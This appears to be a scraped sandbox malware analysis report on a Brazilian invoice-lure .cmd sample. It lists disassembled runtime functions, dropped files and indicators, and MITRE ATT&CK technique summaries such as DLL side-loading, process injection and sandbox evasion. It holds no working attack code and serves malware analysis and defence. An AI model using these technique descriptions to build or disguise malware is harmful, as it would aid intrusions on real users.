Opcode Fuzzy Hash: fa0c79177d425ac37bcc3599e91d33a256a20d1c8bab7bbeb656d96ee6b99900
Instruction Fuzzy Hash: CF4124B040075D5EEB328A748C95BFBBBF89B0630CF1844E8E59687183D2759B46DF21

Function 00CB4660 Relevance: 7.8, APIs: 5, Instructions: 263COMMONLIBRARYCODE

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 00CB4761
__FindPESection.LIBCMT ref: 00CB477B

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000CA9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00CA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ca9000_windows10.jbxd

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: 86876dbf77943e1a25a812ee336e7f73062ffcbf8677a450be78deb701e53b8a
Instruction ID: 3d7960cf694e87efd21fbd0de21dc495f3328f4e9ff679833893520a01b4d5a7
Opcode Fuzzy Hash: 86876dbf77943e1a25a812ee336e7f73062ffcbf8677a450be78deb701e53b8a
Instruction Fuzzy Hash: F191A072E086599BCB19CF58DC407FEB3A9EB85310F15422DE865A73A2D731ED02CB90

Function 00CAF114 Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,00CAF2FE,?,?,?), ref: 00CAF1BA
_malloc.LIBCMT ref: 00CAF1EF

Part of subcall function 00CB1E73: _strlen.LIBCMT ref: 00CB1EF5
Part of subcall function 00CB1E73: _memset.LIBCMT ref: 00CB1F6D
Part of subcall function 00CB1E73: MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,?,?,?,?,?,?,?,00CAF2FE,?), ref: 00CB1F84

_memset.LIBCMT ref: 00CAF20F
MultiByteToWideChar.KERNEL32(00000000,00000001,?,00000000,00000000,00000000,?,?,?,?,?,00000001), ref: 00CAF224
__freea.LIBCMT ref: 00CAF23C

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000CA9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00CA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ca9000_windows10.jbxd

Similarity

API ID: ByteCharMultiWide$_memset$__freea_malloc_strlen
String ID:
API String ID: 574822426-0
Opcode ID: 813b22390ab1db87d794da0421e700797f30f3f3ba6f628914e402c953ca6331
Instruction ID: d379d70ac88ce1a761ffa55ad4d2c2fb99f745f6334a38bc57ddfe36a5b6544e
Opcode Fuzzy Hash: 813b22390ab1db87d794da0421e700797f30f3f3ba6f628914e402c953ca6331
Instruction Fuzzy Hash: 7251817590010BEFDF109FA4DC81AAE3BA9EB16358F14463EF925D7160E730DE529B90

Function 00CB3BA9 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 00CB3BD1

Part of subcall function 00CB34C1: __getptd.LIBCMT ref: 00CB34CF
Part of subcall function 00CB34C1: __getptd.LIBCMT ref: 00CB34DD

__getptd.LIBCMT ref: 00CB3BDB

Part of subcall function 00CAB4A6: __amsg_exit.LIBCMT ref: 00CAB4B6

__getptd.LIBCMT ref: 00CB3BE9
__getptd.LIBCMT ref: 00CB3BF7
__getptd.LIBCMT ref: 00CB3C02

Part of subcall function 00CB3566: __CallSettingFrame@12.LIBCMT ref: 00CB35B2

Part of subcall function 00CB3CCF: __getptd.LIBCMT ref: 00CB3CDE
Part of subcall function 00CB3CCF: __getptd.LIBCMT ref: 00CB3CEC

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000CA9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00CA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ca9000_windows10.jbxd

Similarity

API ID: __getptd$CallCreateFrameFrame@12InfoSetting__amsg_exit
String ID:
API String ID: 3174811152-0
Opcode ID: aca9f3f5187063e4f887d70b90a386f7794abc59d4ea18c3192bd296a7afebba
Instruction ID: 3ec67dc3fda417ce8e8dc72a61db25a3ba4d90460a65dc82ed86f7a7f383b3b4
Opcode Fuzzy Hash: aca9f3f5187063e4f887d70b90a386f7794abc59d4ea18c3192bd296a7afebba
Instruction Fuzzy Hash: F711E971D1024AEFDB00EFA4C985AED7BB4FF49314F108169F814A7252DB389A15AF50

Function 00CADB21 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

___initmbctable.LIBCMT ref: 00CADB36

Part of subcall function 00CAAE9C: __setmbcp.LIBCMT ref: 00CAAEA7

_parse_cmdline.LIBCMT ref: 00CADB78
_parse_cmdline.LIBCMT ref: 00CADBB9

Strings

C:\Users\user\Pictures\fotosdaviagem\windows10.exe, xrefs: 00CADB40, 00CADB45

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000CA9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00CA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ca9000_windows10.jbxd

Similarity

API ID: _parse_cmdline$___initmbctable__setmbcp
String ID: C:\Users\user\Pictures\fotosdaviagem\windows10.exe
API String ID: 1290970244-3728218427
Opcode ID: 0ad22f4d663f58d615299c1c73a60310719560a0cd93abeb9fd98b8c1aa4d535
Instruction ID: 59672e9351f1db83ff952df9e82b10122cb2589fb448218713a8ef149d899f92
Opcode Fuzzy Hash: 0ad22f4d663f58d615299c1c73a60310719560a0cd93abeb9fd98b8c1aa4d535
Instruction Fuzzy Hash: 8C21DA71900149AFCB10DFB5EC80DDF7B78EA42728B1106B9F557E7641D6309E46CBA0

Function 009A8494 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,kernel32.dll,GetLogicalProcessorInformation), ref: 009A84C3
GetLogicalProcessorInformation.KERNEL32(?,?,00000000,009A8540,?,00000000,?,00000000,kernel32.dll,GetLogicalProcessorInformation), ref: 009A84F7

Strings

GetLogicalProcessorInformation, xrefs: 009A84A0
kernel32.dll, xrefs: 009A84A5

Memory Dump Source

Source File: 00000011.00000002.2870548922.00000000009A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 009A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9a1000_windows10.jbxd

Yara matches

Similarity

API ID: InformationLogicalProcessor
String ID: GetLogicalProcessorInformation$kernel32.dll
API String ID: 1773637529-812649623
Opcode ID: 30c0a7eae072b53566e23f11d8786e61f72e5aa89ed1766bf093e754ab390f55
Instruction ID: 75cf5a4f888c09f09f9686760af7a7a759b05b9d791e0e2e2f438e2fd32d0df8
Opcode Fuzzy Hash: 30c0a7eae072b53566e23f11d8786e61f72e5aa89ed1766bf093e754ab390f55
Instruction Fuzzy Hash: BE11B271E08208AEEB10EBA4DC46B6FB7FDEB82314F2550E5F80492581EF759A80C6D5

Function 009A8492 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,kernel32.dll,GetLogicalProcessorInformation), ref: 009A84C3
GetLogicalProcessorInformation.KERNEL32(?,?,00000000,009A8540,?,00000000,?,00000000,kernel32.dll,GetLogicalProcessorInformation), ref: 009A84F7

Strings

GetLogicalProcessorInformation, xrefs: 009A84A0
kernel32.dll, xrefs: 009A84A5

Memory Dump Source

Source File: 00000011.00000002.2870548922.00000000009A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 009A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9a1000_windows10.jbxd

Yara matches

Similarity

API ID: InformationLogicalProcessor
String ID: GetLogicalProcessorInformation$kernel32.dll
API String ID: 1773637529-812649623
Opcode ID: 3e688714d5d363db4a40cc571c711a092641a43df32ae01dfdc58a5858127e25
Instruction ID: ac84bd10b398dfaa6e45386f2841bfcc26ea761e56e6a6078a37b4a3764603aa
Opcode Fuzzy Hash: 3e688714d5d363db4a40cc571c711a092641a43df32ae01dfdc58a5858127e25
Instruction Fuzzy Hash: BE018071E08208BEEB10EBA48C46B6FB7EDEB82314F1450A5F814D6081EF71DA808695

Function 009AC860 Relevance: 6.1, APIs: 4, Instructions: 95threadCOMMON

Download Yara Rule

APIs

GetThreadUILanguage.KERNEL32(?,00000000), ref: 009AC871
SetThreadPreferredUILanguages.KERNEL32(00000004,?,?), ref: 009AC8CF
SetThreadPreferredUILanguages.KERNEL32(00000000,00000000,?), ref: 009AC92C
SetThreadPreferredUILanguages.KERNEL32(00000008,?,?), ref: 009AC95F

Part of subcall function 009AC81C: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,00000000,?,?,009AC8DD), ref: 009AC833
Part of subcall function 009AC81C: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,?,009AC8DD), ref: 009AC850

Memory Dump Source

Source File: 00000011.00000002.2870548922.00000000009A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 009A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9a1000_windows10.jbxd

Yara matches

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: 48162eb4d146797cfcc297dc63a7706441086b0ea41887eed99098a7b737ebaf
Instruction ID: 819c325da14ed101ec1ce22551f2e9b997d93e5e88ee682899626c8de99febf4
Opcode Fuzzy Hash: 48162eb4d146797cfcc297dc63a7706441086b0ea41887eed99098a7b737ebaf
Instruction Fuzzy Hash: 2A315AB0E0021E9BDB10DFE8C885BAEB3B8FF45314F044169E565EB291DB749A04CB90

Function 00CAB1DF Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,00CAB258,00000000,00CB22DC,00CBF6D0,00000000,00000314,?,00CAFE01,00CBF6D0,Microsoft Visual C++ Runtime Library,00012010), ref: 00CAB1F1
TlsGetValue.KERNEL32(00CBC658,?,00CAB258,00000000,00CB22DC,00CBF6D0,00000000,00000314,?,00CAFE01,00CBF6D0,Microsoft Visual C++ Runtime Library,00012010), ref: 00CAB208

Strings

KERNEL32.DLL, xrefs: 00CAB218, 00CAB21D, 00CAB228
EncodePointer, xrefs: 00CAB233

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000CA9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00CA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ca9000_windows10.jbxd

Similarity

API ID: Value
String ID: EncodePointer$KERNEL32.DLL
API String ID: 3702945584-3682587211
Opcode ID: 26abdbc7e0b124d76e992ea685deec9d6fcfe104f71d862420e74be50b75b213
Instruction ID: aff60056d2066a3d2d6067cf2af3374e982683ed524608132406a546e60b333c
Opcode Fuzzy Hash: 26abdbc7e0b124d76e992ea685deec9d6fcfe104f71d862420e74be50b75b213
Instruction Fuzzy Hash: 2101D430540246A69B106779EC44F9E7F985F02368B184322F828DB592DB26DE418BE0

Function 00CAB25A Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,00CAB2F5), ref: 00CAB26C
TlsGetValue.KERNEL32(00CBC658,?,00CAB2F5), ref: 00CAB283

Strings

KERNEL32.DLL, xrefs: 00CAB293, 00CAB298, 00CAB2A3
DecodePointer, xrefs: 00CAB2AE

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000CA9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00CA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ca9000_windows10.jbxd

Similarity

API ID: Value
String ID: DecodePointer$KERNEL32.DLL
API String ID: 3702945584-629428536
Opcode ID: 6b6c0571738dd78f306fe29e0aa1ec2e00bc5f6cc49abe8e506ea62ae31a2486
Instruction ID: 683a4d2a7a40d17fbc368e6c9d3dd3d46d82536d2c4158cc7ccd7134c6e7ff37
Opcode Fuzzy Hash: 6b6c0571738dd78f306fe29e0aa1ec2e00bc5f6cc49abe8e506ea62ae31a2486
Instruction Fuzzy Hash: 64F0627090011B6A9B216BA5DC45FAE3B9D9F473A8B144332FC2CD7662DB24DE0186E0

Function 00CB393A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00CB3968
__CallSettingFrame@12.LIBCMT ref: 00CB39B8

Strings

j, xrefs: 00CB393E

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000CA9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00CA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ca9000_windows10.jbxd

Similarity

API ID: CallFrame@12Setting__getptd
String ID: j
API String ID: 3454690891-2137352139
Opcode ID: c094406399c1b710e382b143c98b45c7d7f1401c8b52f85f2035be754a52435d
Instruction ID: 4851c322693f95bd3d27f40747d60988f5410af0bec36d5df508b2b39c0a2a17
Opcode Fuzzy Hash: c094406399c1b710e382b143c98b45c7d7f1401c8b52f85f2035be754a52435d
Instruction Fuzzy Hash: 5C115A71D052A0DFDB12DF69C44539CBBB0BF05718F18818AD8A46B193C3B16A55DB91

Function 00CB3F56 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 00CB3F69

Part of subcall function 00CB3EC4: ___BuildCatchObjectHelper.LIBCMT ref: 00CB3EFA

_UnwindNestedFrames.LIBCMT ref: 00CB3F80

Strings

csm, xrefs: 00CB3F65, 00CB3F7A, 00CB3F8D, 00CB3FAB, 00CB3FBB

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000CA9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00CA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ca9000_windows10.jbxd

Similarity

API ID: BuildCatchObject$FramesHelperNestedUnwind
String ID: csm
API String ID: 3487967840-1018135373
Opcode ID: d7cfb688f90cc76fd5960e040264083c7c1c916bb07f4d54eefe1401d8d22a85
Instruction ID: 9511b8418b4207c3fc1c22b6c4508cd5fbabb3dd851c3ae145348055530e6988
Opcode Fuzzy Hash: d7cfb688f90cc76fd5960e040264083c7c1c916bb07f4d54eefe1401d8d22a85
Instruction Fuzzy Hash: 2701F23540118ABBDF126F91CC46EEE7F6AEF08350F408014FD2815161DB72EAB1EBA1

Function 00CB3CCF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00CB3CDE

Part of subcall function 00CAB4A6: __amsg_exit.LIBCMT ref: 00CAB4B6

__getptd.LIBCMT ref: 00CB3CEC

Strings

csm, xrefs: 00CB3CFA

Memory Dump Source

Source File: 00000011.00000002.2916724815.0000000000CA9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00CA9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ca9000_windows10.jbxd

Similarity

API ID: __getptd$__amsg_exit
String ID: csm
API String ID: 1969926928-1018135373
Opcode ID: 26a396b7f8d6ad0d22a1f8c91d29c0213ce2de7ad14ed7ed1dde7fea289fa1f0
Instruction ID: 9e3efcd43705d5476b78acfa5070fa5a6b4a8d0f9069aab574624caca61d2b52
Opcode Fuzzy Hash: 26a396b7f8d6ad0d22a1f8c91d29c0213ce2de7ad14ed7ed1dde7fea289fa1f0
Instruction Fuzzy Hash: 240146348602898BCF389F74C450AECB7B5AF14711F24482EE060AB292CB319B84EB51

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report z1Pedido-Faturado-NF-938731.cmd

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Other

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\46750e.rbs

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\MSI6749f.LOG

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ihwx52od.fxj.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mhecw50e.iyu.ps1

C:\Users\user\AppData\Local\Temp\arquivo.msi

C:\Users\user\Downloads\30c892a2-aec9-4554-8c0c-14853fe86991.tmp

C:\Users\user\Downloads\downloaded.htm (copy)

C:\Users\user\Downloads\downloaded.htm.crdownload (copy)

C:\Users\user\Pictures\fotosdaviagem\StarBurn.dll

Windows Analysis Report
z1Pedido-Faturado-NF-938731.cmd

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
